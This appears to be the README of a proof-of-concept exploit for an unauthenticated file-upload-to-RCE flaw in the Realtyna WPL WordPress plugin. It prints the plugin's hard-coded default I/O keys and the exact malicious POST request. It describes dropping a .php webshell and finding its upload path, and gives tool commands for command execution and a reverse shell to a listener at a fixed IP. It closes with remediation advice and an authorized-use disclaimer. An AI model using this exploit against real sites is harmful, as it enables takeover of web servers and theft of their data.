
Unauthenticated arbitrary file upload leading to RCE in the Realtyna WPL / Organic IDX
WordPress plugin (real-estate-listing-realtyna-wpl ≤ 5.2.0).
The plugin registers an "I/O service" on the public WordPress init hook, reachable
unauthenticated at the site root via ?wplview=io&wplformat=io. The only gate is a pair of
static, hard-coded default keys shipped in the plugin's migrations (identical on every
install), with io_status enabled by default:
public_key = U7hdbv673YhdjplzzX7wU7hdbv673YhdjplzzX7w
private_key = Eft76bdh0o2uyhJkbG3T
The set_property command (libraries/io/mobile_application/set_property.php → wpl_file::upload)
saves the uploaded file[] with move_uploaded_file and no extension/MIME check, so a .php
webshell can be dropped and executed as the web user.
real-estate-listing-realtyna-wpl ≤ 5.2.0www-data)Python 3 standard library only — no dependencies.
# run a command and print output
python3 exploit.py http://target/ -c id
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://target/ --shell 10.10.14.5:4444
POST /?wplview=io&wplformat=io&public_key=…&private_key=…&cmd=set_property&commands_directory=mobile_application&user_id=1
with a multipart file[] named image_<name>.php. The image_ prefix is stripped, so the file
is saved as <name>.php.wp-content/uploads/WPL/<pid>/<name>.php, where <pid> is
the id of the property created by the request (the response doesn't echo it). The tool
enumerates small property ids to find the shell.…/<name>.php?c=<cmd>.A WordPress site with the real-estate-listing-realtyna-wpl plugin ≤ 5.2.0 active. The endpoint
responds at GET /?wplview=io&wplformat=io (the plugin's I/O service).
Update the plugin to ≥ 5.3.0, validate upload extensions/MIME, never execute PHP from
wp-content/uploads, and rotate the plugin's static default I/O keys.
For authorized security testing and education only. Use it only against systems you own or have explicit permission to test.